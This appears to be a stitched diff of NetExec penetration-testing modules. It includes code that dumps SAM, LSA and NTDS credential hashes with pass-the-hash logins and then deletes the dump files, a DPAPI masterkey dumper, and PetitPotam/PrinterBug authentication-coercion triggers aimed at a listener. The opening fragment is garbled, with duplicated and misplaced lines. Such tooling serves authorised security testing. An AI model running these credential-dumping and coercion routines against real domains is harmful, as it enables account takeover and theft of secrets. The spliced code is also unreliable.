match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
if all_deleted:
double_check = True
for hive in hives:
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
remote_name = f"{hive}_{rand_suffix}"
try:
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
out = connection.conn.listPath("SYSVOL", remote_name)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError as e:
context.log.debug(f"File {remote_name} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+141 -116
View File
@@ -1,116 +1,141 @@
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
+6 -8
View File
@@ -2,14 +2,12 @@
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -36,7 +34,7 @@ class NXCModule:
"""
self.vuln = True
self.enabled = False
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
@@ -121,9 +119,9 @@ class NXCModule:
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
@@ -133,10 +131,10 @@ class NXCModule:
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+21 -12
View File
@@ -1,8 +1,7 @@
import sys
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -46,21 +45,31 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
@@ -89,7 +98,7 @@ class NXCModule:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
+12 -8
View File
@@ -1,5 +1,4 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -48,13 +47,14 @@ class NXCModule:
"""DFSCOERCE START"""
try:
dfscocerceclass = DFSCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dfscocerceconnect = dfscocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -78,13 +78,14 @@ class NXCModule:
""" ShadowCoerce START """
try:
shadowcocerceclass = ShadowCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
shadowcocerceconnect = shadowcocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -112,13 +113,14 @@ class NXCModule:
context.log.debug(f"Trying to connect to {pipe} pipe")
try:
petitpotamclass = PetitPotamtTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
petitpotamconnect = petitpotamclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -148,13 +150,14 @@ class NXCModule:
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -165,7 +168,7 @@ class NXCModule:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
@@ -180,13 +183,14 @@ class NXCModule:
""" MSEVEN START """
try:
msevenclass = MSEvenTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenconnect = msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -1079,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Length", DWORD),
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+11 -11
View File
@@ -3,16 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
@@ -200,7 +200,7 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
@@ -249,10 +249,10 @@ class NXCModule:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
@@ -288,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -306,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
+28 -3
View File
@@ -1,12 +1,15 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -16,11 +19,33 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
-1
View File
@@ -50,7 +50,6 @@ class NXCModule:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+1 -1
View File
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, separated by comma
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
def on_login(self, context: Context, connection):
+91 -30
View File
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,8 +45,20 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -91,11 +103,82 @@ class NXCModule:
class LsaLookupNames:
def __init__(self, connection=None):
self.connection = connection
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
